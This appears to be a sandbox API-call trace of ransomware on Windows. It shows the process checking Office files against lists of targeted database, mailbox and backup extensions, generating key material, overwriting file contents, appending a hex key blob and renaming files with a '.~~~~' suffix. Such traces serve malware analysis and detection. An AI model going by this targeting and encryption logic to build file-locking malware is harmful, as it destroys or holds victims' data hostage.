	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".vhd") returned 0x0
	[0134.719] lstrlenW (lpString=".bac") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".bac") returned 0x0
	[0134.719] lstrlenW (lpString=".mdf") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".mdf") returned 0x0
	[0134.719] lstrlenW (lpString=".BAK") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".BAK") returned 0x0
	[0134.719] lstrlenW (lpString=".BAC") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".BAC") returned 0x0
	[0134.720] lstrlenW (lpString=".dbs") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dbs") returned 0x0
	[0134.720] lstrlenW (lpString=".vhdx") returned 5
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0134.720] lstrlenW (lpString=".NDF") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".NDF") returned 0x0
	[0134.720] lstrlenW (lpString=".dat") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dat") returned 0x0
	[0134.720] lstrlenW (lpString=".DBS") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DBS") returned 0x0
	[0134.720] lstrlenW (lpString=".CKP") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".CKP") returned 0x0
	[0134.720] lstrlenW (lpString=".edb") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".edb") returned 0x0
	[0134.720] lstrlenW (lpString=".PST") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".PST") returned 0x0
	[0134.720] lstrlenW (lpString=".dbf") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dbf") returned 0x0
	[0134.720] lstrlenW (lpString=".SQL") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".SQL") returned 0x0
	[0134.720] lstrlenW (lpString=".pst") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".pst") returned 0x0
	[0134.720] lstrlenW (lpString=".dbv") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dbv") returned 0x0
	[0134.720] lstrlenW (lpString=".SDF") returned 4
	[0134.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".SDF") returned 0x0
	[0134.721] lstrlenW (lpString=".dtxs") returned 5
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0134.721] lstrlenW (lpString=".db3") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".db3") returned 0x0
	[0134.721] lstrlenW (lpString=".OST") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".OST") returned 0x0
	[0134.721] lstrlenW (lpString=".dbx") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dbx") returned 0x0
	[0134.721] lstrlenW (lpString=".DB3") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DB3") returned 0x0
	[0134.721] lstrlenW (lpString=".DAT") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DAT") returned 0x0
	[0134.721] lstrlenW (lpString=".VHDX") returned 5
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0134.721] lstrlenW (lpString=".ndf") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".ndf") returned 0x0
	[0134.721] lstrlenW (lpString=".DB") returned 3
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DB") returned 0x0
	[0134.721] lstrlenW (lpString=".sql") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".sql") returned 0x0
	[0134.721] lstrlenW (lpString=".MYD") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".MYD") returned 0x0
	[0134.721] lstrlenW (lpString=".DBT") returned 4
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DBT") returned 0x0
	[0134.721] lstrlenW (lpString=".ACCDB") returned 6
	[0134.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0134.722] lstrlenW (lpString=".fdb") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".fdb") returned 0x0
	[0134.722] lstrlenW (lpString=".bak") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".bak") returned 0x0
	[0134.722] lstrlenW (lpString=".myd") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".myd") returned 0x0
	[0134.722] lstrlenW (lpString=".DTXS") returned 5
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0134.722] lstrlenW (lpString=".ckp") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".ckp") returned 0x0
	[0134.722] lstrlenW (lpString=".dbt") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dbt") returned 0x0
	[0134.722] lstrlenW (lpString=".db") returned 3
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".db") returned 0x0
	[0134.722] lstrlenW (lpString=".TXT") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".TXT") returned 0x0
	[0134.722] lstrlenW (lpString=".MDF") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".MDF") returned 0x0
	[0134.722] lstrlenW (lpString=".bdb") returned 4
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".bdb") returned 0x0
	[0134.722] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0134.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0134.723] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0840) returned 1
	[0134.724] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0134.724] CryptReleaseContext (hProv=0x3a0840, dwFlags=0x0) returned 1
	[0134.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0134.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0134.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0134.724] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25471423410) returned 1
	[0134.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9be42f0, dwHighDateTime=0x1d60e1e)) 
	[0134.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0134.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0134.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0134.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cce8
	[0134.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cce8 | out: hHeap=0x300000) returned 1
	[0134.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4fe8
	[0134.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.725] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.725] GetLastError () returned 0x0
	[0134.725] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.726] GetLastError () returned 0x0
	[0134.861] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffea2a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.861] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x15d58, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x15d58, lpOverlapped=0x0) returned 1
	[0134.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.862] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.862] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.862] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.862] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.862] CloseHandle (hObject=0x108) returned 1
	[0134.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5248
	[0134.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.~~~~")) returned 1
	[0134.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5248 | out: hHeap=0x300000) returned 1
	[0134.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.865] GetLastError () returned 0x0
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".scr") returned 0x0
	[0134.866] lstrlenW (lpString=".cmd") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".cmd") returned 0x0
	[0134.866] lstrlenW (lpString=".dll") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dll") returned 0x0
	[0134.866] lstrlenW (lpString=".bat") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".bat") returned 0x0
	[0134.866] lstrlenW (lpString=".cpl") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".cpl") returned 0x0
	[0134.866] lstrlenW (lpString=".sys") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".sys") returned 0x0
	[0134.866] lstrlenW (lpString=".msc") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".msc") returned 0x0
	[0134.866] lstrlenW (lpString=".com") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".com") returned 0x0
	[0134.866] lstrlenW (lpString=".lnk") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".lnk") returned 0x0
	[0134.866] lstrlenW (lpString=".msp") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".msp") returned 0x0
	[0134.866] lstrlenW (lpString=".pif") returned 4
	[0134.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".pif") returned 0x0
	[0134.866] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0134.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.061] lstrlenW (lpString=".sqb") returned 4
	[0135.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".sqb") returned 0x0
	[0135.061] lstrlenW (lpString=".ost") returned 4
	[0135.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".ost") returned 0x0
	[0135.061] lstrlenW (lpString=".txt") returned 4
	[0135.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".txt") returned 0x0
	[0135.061] lstrlenW (lpString=".mdt") returned 4
	[0135.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".mdt") returned 0x0
	[0135.061] lstrlenW (lpString=".BDB") returned 4
	[0135.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".BDB") returned 0x0
	[0135.061] lstrlenW (lpString=".eql") returned 4
	[0135.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".eql") returned 0x0
	[0135.062] lstrlenW (lpString=".DBF") returned 4
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DBF") returned 0x0
	[0135.062] lstrlenW (lpString=".EQL") returned 4
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".EQL") returned 0x0
	[0135.062] lstrlenW (lpString=".FDB") returned 4
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".FDB") returned 0x0
	[0135.062] lstrlenW (lpString=".EDB") returned 4
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".EDB") returned 0x0
	[0135.062] lstrlenW (lpString=".DACPAC") returned 7
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DACPAC") returned 0x0
	[0135.062] lstrlenW (lpString=".VHD") returned 4
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".VHD") returned 0x0
	[0135.062] lstrlenW (lpString=".DBV") returned 4
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DBV") returned 0x0
	[0135.062] lstrlenW (lpString=".dacpac") returned 7
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dacpac") returned 0x0
	[0135.062] lstrlenW (lpString=".sdf") returned 4
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".sdf") returned 0x0
	[0135.062] lstrlenW (lpString=".accdb") returned 6
	[0135.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".accdb") returned 0x0
	[0135.063] lstrlenW (lpString=".DBX") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DBX") returned 0x0
	[0135.063] lstrlenW (lpString=".MDT") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".MDT") returned 0x0
	[0135.063] lstrlenW (lpString=".SQB") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".SQB") returned 0x0
	[0135.063] lstrlenW (lpString=".vhd") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".vhd") returned 0x0
	[0135.063] lstrlenW (lpString=".bac") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".bac") returned 0x0
	[0135.063] lstrlenW (lpString=".mdf") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".mdf") returned 0x0
	[0135.063] lstrlenW (lpString=".BAK") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".BAK") returned 0x0
	[0135.063] lstrlenW (lpString=".BAC") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".BAC") returned 0x0
	[0135.063] lstrlenW (lpString=".dbs") returned 4
	[0135.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dbs") returned 0x0
	[0135.063] lstrlenW (lpString=".vhdx") returned 5
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".vhdx") returned 0x0
	[0135.064] lstrlenW (lpString=".NDF") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".NDF") returned 0x0
	[0135.064] lstrlenW (lpString=".dat") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dat") returned 0x0
	[0135.064] lstrlenW (lpString=".DBS") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DBS") returned 0x0
	[0135.064] lstrlenW (lpString=".CKP") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".CKP") returned 0x0
	[0135.064] lstrlenW (lpString=".edb") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".edb") returned 0x0
	[0135.064] lstrlenW (lpString=".PST") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".PST") returned 0x0
	[0135.064] lstrlenW (lpString=".dbf") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dbf") returned 0x0
	[0135.064] lstrlenW (lpString=".SQL") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".SQL") returned 0x0
	[0135.064] lstrlenW (lpString=".pst") returned 4
	[0135.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".pst") returned 0x0
	[0135.064] lstrlenW (lpString=".dbv") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dbv") returned 0x0
	[0135.065] lstrlenW (lpString=".SDF") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".SDF") returned 0x0
	[0135.065] lstrlenW (lpString=".dtxs") returned 5
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dtxs") returned 0x0
	[0135.065] lstrlenW (lpString=".db3") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".db3") returned 0x0
	[0135.065] lstrlenW (lpString=".OST") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".OST") returned 0x0
	[0135.065] lstrlenW (lpString=".dbx") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dbx") returned 0x0
	[0135.065] lstrlenW (lpString=".DB3") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DB3") returned 0x0
	[0135.065] lstrlenW (lpString=".DAT") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DAT") returned 0x0
	[0135.065] lstrlenW (lpString=".VHDX") returned 5
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".VHDX") returned 0x0
	[0135.065] lstrlenW (lpString=".ndf") returned 4
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".ndf") returned 0x0
	[0135.065] lstrlenW (lpString=".DB") returned 3
	[0135.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DB") returned 0x0
	[0135.065] lstrlenW (lpString=".sql") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".sql") returned 0x0
	[0135.066] lstrlenW (lpString=".MYD") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".MYD") returned 0x0
	[0135.066] lstrlenW (lpString=".DBT") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DBT") returned 0x0
	[0135.066] lstrlenW (lpString=".ACCDB") returned 6
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".ACCDB") returned 0x0
	[0135.066] lstrlenW (lpString=".fdb") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".fdb") returned 0x0
